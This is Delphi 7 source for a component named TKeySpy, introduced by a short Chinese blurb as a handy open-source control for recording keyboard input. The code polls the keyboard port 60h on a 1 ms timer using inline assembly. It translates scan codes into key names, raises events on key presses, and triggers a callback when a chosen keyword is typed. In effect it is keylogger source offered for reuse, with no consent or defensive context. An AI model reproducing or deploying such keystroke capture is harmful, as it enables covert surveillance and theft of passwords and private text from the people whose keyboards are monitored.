keyspy.pas

delphi 7.0 的控件,记录键盘输入,真正的开放源程序,很好用的

unit   Keyspy;
    
  interface   
    
  uses   
      {$IFDEF   WIN32}   Windows,   {$ELSE}   WinTypes,   WinProcs,{$ENDIF}   
      SysUtils,   Controls,   Classes,   Messages,   Forms;   

  type   
      TOnKeySpy   =   procedure(Sender:   TObject;   Key:   Byte;   KeyStr:   String)   of   object;   
      TKeySpy   =   class(TComponent)   
      private   
          FWindowHandle:   HWnd;   
          FOnKeySpyDown,   FOnKeySpyUp:   TOnKeySpy;   
          FOnKeyword:   TNotifyEvent;   
          FEnabled:   Boolean;   
          FKeyword,   
          KeyComp:   String;   
    
          OldKey:   Byte;   
          LShiftUp,   RShiftUp:   Boolean;   
          procedure   UpdateTimer;   
          procedure   SetEnabled(Value:   Boolean);   
          procedure   WndProc(var   Msg:   TMessage);   
      protected   
          procedure   KeySpy;   dynamic;   
      public   
          constructor   Create(AOwner:   TComponent);   override;   
          destructor   Destroy;   override;   
      published   
          property   Enabled:   Boolean   read   FEnabled   write   SetEnabled;   
          property   Keyword:   String   read   FKeyword   write   FKeyword;   
          property   OnKeySpyDown:   TOnKeySpy   read   FOnKeySpyDown   write   FOnKeySpyDown;   
          property   OnKeySpyUp:   TOnKeySpy   read   FOnKeySpyUp   write   FOnKeySpyUp;   
          property   OnKeyword:   TNotifyEvent   read   FOnKeyword   write   FOnKeyword;   
      end;   
    
  procedure   Register;   
    
  implementation   
    
  const   
      LowButtonName:   Array[1..88]   of   PChar   =   ('--Esc','1','2','3','4','5','6','7','8','9',   
                                                                                      '0','-','=','--BkSp','--Tab','q','w','e','r','t',   
                                                                                      'y','u','i','o','p','[',']','--Enter','--Ctrl','a',   
                                                                                      's','d','f','g','h','j','k','l',';','''','`',   
                                                                                      '--LShift   Down','\','z','x','c','v','b','n','m',',',   
                                                                                      '.','/','--RShift   Down','--Gray*','--Alt','--Space',   
                                                                                      '--CapsLock','--F1','--F2','--F3','--F4','--F5',   
                                                                                      '--F6','--F7','--F8','--F9','--F10',   
                                                                                      '--NumLock','--ScrollLock','--Home','--Up',   
                                                                                      '--PgUp','--Gray-','--Left','--*5*','--Right',   
                                                                                      '--Gray+','--End','--Down','--PgDown','--Ins',   
                                                                                      '--Del','--LShift   Up','--RShift   Up',   
                                                                                      '--Unknown','--F11','--F12');   
    
      HiButtonName:   Array[1..88]   of   PChar   =   ('--Esc','!','@','#','$','%','^','&','*','(',   
                                                                                    ')','_','+','--BkSp','--Tab','Q','W','E','R','T',   
                                                                                    'Y','U','I','O','P','{','}','--Enter','--Ctrl','A',   
                                                                                    'S','D','F','G','H','J','K','L',':','"','~',   
                                                                                    '--LShift   Down','|','Z','X','C','V','B','N','M','<',   
                                                                                    '>','?','--RShift   Down','--Gray*','--Alt','--Space',   
                                                                                    '--CapsLock','--F1','--F2','--F3','--F4','--F5',   
                                                                                    '--F6','--F7','--F8','--F9','--F10',   
                                                                                    '--NumLock','--ScrollLock','--Home','--Up',   
                                                                                    '--PgUp','--Gray-','--Left','--*5*','--Right',   
                                                                                    '--Gray+','--End','--Down','--PgDown','--Ins',   
                                                                                    '--Del','--LShift   Up','--RShift   Up',   
                                                                                    '--Unknown','--F11','--F12');   
    
  constructor   TKeySpy.Create(AOwner:   TComponent);   
  begin   
      inherited   Create(AOwner);   
      LShiftUp   :=   True;   
      RShiftUp   :=   True;   
      FEnabled   :=   false;   
      FWindowHandle   :=   AllocateHWnd(WndProc);   
      if   FEnabled   then   UpdateTimer;   
  end;   
    
  destructor   TKeySpy.Destroy;   
  begin   
      FEnabled   :=   False;   
      UpdateTimer;   
      DeallocateHWnd(FWindowHandle);   
      inherited   Destroy;   
  end;   
    
  procedure   TKeySpy.WndProc(var   Msg:   TMessage);   
  begin   
      with   Msg   do   
          if   Msg   =   WM_TIMER   then   
              try   
                  KeySpy;   
              except   
                  Application.HandleException(Self);   
              end   
          else   
              Result   :=   DefWindowProc(FWindowHandle,   Msg,   wParam,   lParam);   
  end;   
    
  procedure   TKeySpy.UpdateTimer;   
  var   
      b:   Byte;   
  begin   
      KillTimer(FWindowHandle,   1);   
      if   FEnabled   then   
        begin   
          asm   
              mov   al,   60h   
              mov   b,   al   
          end;   
          OldKey   :=   b;   
          if   SetTimer(FWindowHandle,   1,   1,   nil)   =   0   then   
              raise   EOutOfResources.Create('No   timers');   
        end;   
  end;   
    
  procedure   TKeySpy.SetEnabled(Value:   Boolean);   
  begin   
      if   Value   <>   FEnabled   then   
      begin   
          FEnabled   :=   Value;   
          UpdateTimer;   
      end;   
  end;   
    
  procedure   TKeySpy.KeySpy;   
  var   
      Key:   Byte;   
      St:   String;   
  begin   
      asm   
          in   al,   60h   
          mov   Key,   al   
      end;   
      if   Key   =   170   then   
        begin   
          Key   :=   84;   
          LShiftUp   :=   True;   
        end;   
      if   Key   =   182   then   
        begin   
          Key   :=   85;   
          RShiftUp   :=   True;   
        end;   
      if   Key   =   42   then   LShiftUp   :=   False;   
      if   Key   =   54   then   RShiftUp   :=   False;   
      if   Key   <>   OldKey   then   
        begin   
          OldKey   :=   Key;   
          if   Key   <=   88   then   
            if   Assigned(FOnKeySpyDown)   then   
              begin   
                if   LShiftUp   and   RShiftUp   then   
                  St   :=   StrPas(LowButtonName[Key])   
                else   
                  St   :=   StrPas(HiButtonName[Key]);   
    
                FOnKeySpyDown(Self,   Key,   St);   
    
                KeyComp   :=   KeyComp   +   St;   
                if   Length(KeyComp)   >   Length(FKeyword)   then   
                  begin   
                    Move(KeyComp[Length(St)   +   1],   KeyComp[1],   Length(KeyComp));   
                    {$IFDEF   WIN32}   
                    SetLength(KeyComp,   Length(FKeyword));   
                    {$ELSE}   
                    KeyComp[0]   :=   char(Length(FKeyword));   
                    {$ENDIF}   
                  end;   
    
                if   KeyComp   =   FKeyword   then   FOnKeyword(Self);   
              end   
            else   
          else   
            if   Assigned(FOnKeySpyUp)   and   (Key   -   128   <=   88)   then   
              begin   
                if   LShiftUp   and   RShiftUp   then   
                  St   :=   StrPas(LowButtonName[Key   -   128])   
                else   
                  St   :=   StrPas(HiButtonName[Key   -   128]);   
                FOnKeySpyUp(Self,   Key,   St)   
              end;   
        end;   
  end;   
    
  procedure   Register;   
  begin   
      RegisterComponents('smilboy',   [TKeySpy]);   
  end;   
    
  end.